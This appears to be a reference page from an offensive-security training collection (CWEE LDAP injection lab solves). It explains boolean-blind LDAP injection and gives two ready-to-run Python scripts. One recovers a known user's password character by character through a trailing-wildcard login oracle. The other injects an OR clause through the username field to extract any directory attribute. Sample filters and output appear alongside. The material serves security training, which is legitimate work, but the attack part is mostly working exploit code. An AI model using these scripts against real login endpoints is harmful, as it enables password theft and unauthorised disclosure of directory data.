Skip to content
Boolean Blind

Boolean Blind

LDAP boolean-blind password recovery via trailing wildcard

Recovers a password one character at a time by appending a candidate char plus an LDAP wildcard and watching the login oracle.

An LDAP directory stores entries as named attributes such as uid, mail, and userPassword. An LDAP filter selects entries by testing those attributes. In the following filter, & means that both enclosed conditions must be true:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

The * character is a substring wildcard. A password condition ending in * asks whether the stored value begins with the text before the wildcard:

(userPassword=A*)   -> password begins with A
(userPassword=Ac*)  -> password begins with Ac

The oracle sends one candidate prefix and returns True only when the application response contains TRUE_RESPONSE. A true result confirms that the candidate is a real prefix. dump_password() tries every character in CHARSET, keeps the first character that produces a true result, and repeats from the longer confirmed prefix.

LDAP filter metacharacters must be distinguished from literal secret characters. A recovered *, (, ), backslash, or NUL byte is sent as its \HH hexadecimal escape so LDAP compares the literal character instead of changing the filter syntax. req_prefix stores the escaped text sent in requests, while secret stores the human-readable recovered value. If no character extends the prefix, the result is charset exhaustion unless a separate end condition is known.

import requests
import urllib3
import string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {}
s = requests.Session()

LOGIN_URL = "http://<TARGET>/<LOGIN_ENDPOINT>"
USERNAME = "<KNOWN_USERNAME>"
TRUE_RESPONSE = "<TRUE_RESPONSE_MARKER>"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
# Filter metacharacters must be sent hex-escaped so they stay literal
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}

def oracle(candidate):
    # Server filter becomes (&(uid=USERNAME)(userPassword=<candidate>*));
    # the trailing wildcard matches the rest, so a hit means the password starts with <candidate>
    data = {"username": USERNAME, "password": candidate + "*"}
    r = s.post(LOGIN_URL, data=data, verify=False, timeout=10, proxies=PROXIES)
    is_true = r.status_code == 200 and TRUE_RESPONSE in r.text
    return is_true

def dump_password():
    req_prefix = ""   # escaped bytes sent in the request
    secret = ""       # human-readable recovered value
    while True:
        matched = False
        for character in CHARSET:
            escaped_character = LDAP_ESCAPE.get(character, character)
            candidate = req_prefix + escaped_character
            if oracle(candidate):
                req_prefix += escaped_character
                secret += character
                matched = True
                print(f"\rRecovering password: {secret}", end="", flush=True)
                break
        if matched == False:
            print(f"\n[-] Charset exhausted after prefix for {USERNAME}: {secret}")
            return secret

if __name__ == "__main__":
    dump_password()

Server-side filter the wildcard grows against

(&(uid=<KNOWN_USERNAME>)(userPassword=<CANDIDATE_PREFIX>*))

Recovered character-by-character

Recovering password: <RECOVERED_PASSWORD>
[-] Charset exhausted after prefix for <KNOWN_USERNAME>: <RECOVERED_PASSWORD>

Find by: ldap injection, boolean blind, password bruteforce, wildcard, userPassword, prefix growth, login oracle, filter substring match · Source: CWEE/LDAP Injection boolean-blind password solve

LDAP boolean-blind arbitrary attribute dumper via OR-clause injection

Injects an OR clause through the username field to leak any chosen LDAP attribute character-by-character.

This form changes the structure of the LDAP filter rather than supplying only a wildcard value. The username payload closes the original uid condition and opens an injected OR group. In LDAP filter syntax, | means that at least one enclosed condition must be true.

username input:
<USERNAME>)(|(<ATTRIBUTE>=<CANDIDATE>*

password input:
invalid)

resulting filter:
(&(uid=<USERNAME>)(|(<ATTRIBUTE>=<CANDIDATE>*)(userPassword=invalid)))

The closing parenthesis in invalid) balances the group opened by the username payload. The password condition remains false, but the complete OR group becomes true whenever the selected attribute begins with the candidate prefix. When the application treats a matching directory entry as login success, that success marker becomes a Boolean oracle for the attribute value.

dump_attribute() reuses the prefix-growth algorithm from the password section. The difference is the value being tested: ATTRIBUTE can name any directory attribute readable through the vulnerable search, including description, mail, sn, or a stored password field. Literal filter metacharacters in the recovered value remain hex-escaped.

import requests
import urllib3
import string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {}
s = requests.Session()

LOGIN_URL = "http://<TARGET>/<LOGIN_ENDPOINT>"
USERNAME = "<KNOWN_USERNAME>"  # an entry the injected OR is anchored to
ATTRIBUTE = "<ATTRIBUTE>"      # the attribute to exfiltrate
TRUE_RESPONSE = "<TRUE_RESPONSE_MARKER>"
CHARSET = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
LDAP_ESCAPE = {"*": "\\2a", "(": "\\28", ")": "\\29", "\\": "\\5c", "\x00": "\\00"}

def oracle(candidate):
    # username breaks out and injects an OR clause:
    # (&(uid=USERNAME)(|(ATTRIBUTE=<candidate>*)(userPassword=invalid)))
    injected_username = f"{USERNAME})(|({ATTRIBUTE}={candidate}*"
    data = {"username": injected_username, "password": "invalid)"}
    r = s.post(LOGIN_URL, data=data, verify=False, timeout=10, proxies=PROXIES)
    is_true = r.status_code == 200 and TRUE_RESPONSE in r.text
    return is_true

def dump_attribute():
    req_prefix = ""
    value = ""
    while True:
        matched = False
        for character in CHARSET:
            escaped_character = LDAP_ESCAPE.get(character, character)
            candidate = req_prefix + escaped_character
            if oracle(candidate):
                req_prefix += escaped_character
                value += character
                matched = True
                print(f"\rRecovering {ATTRIBUTE}: {value}", end="", flush=True)
                break
        if matched == False:
            print(f"\n[-] Charset exhausted after prefix for {ATTRIBUTE}: {value}")
            return value

if __name__ == "__main__":
    dump_attribute()

Injected filter (OR-clause leaks the attribute)

(&(uid=<KNOWN_USERNAME>)(|(<ATTRIBUTE>=<CANDIDATE_PREFIX>*)(userPassword=invalid)))

Exfiltrated attribute value

Recovering <ATTRIBUTE>: <ATTRIBUTE_VALUE>
[-] Charset exhausted after prefix for <ATTRIBUTE>: <ATTRIBUTE_VALUE>

Find by: ldap injection, boolean blind, attribute dump, filter injection, OR clause, exfiltrate, description, userPassword, wildcard · Source: CWEE/LDAP Injection boolean-blind attribute solve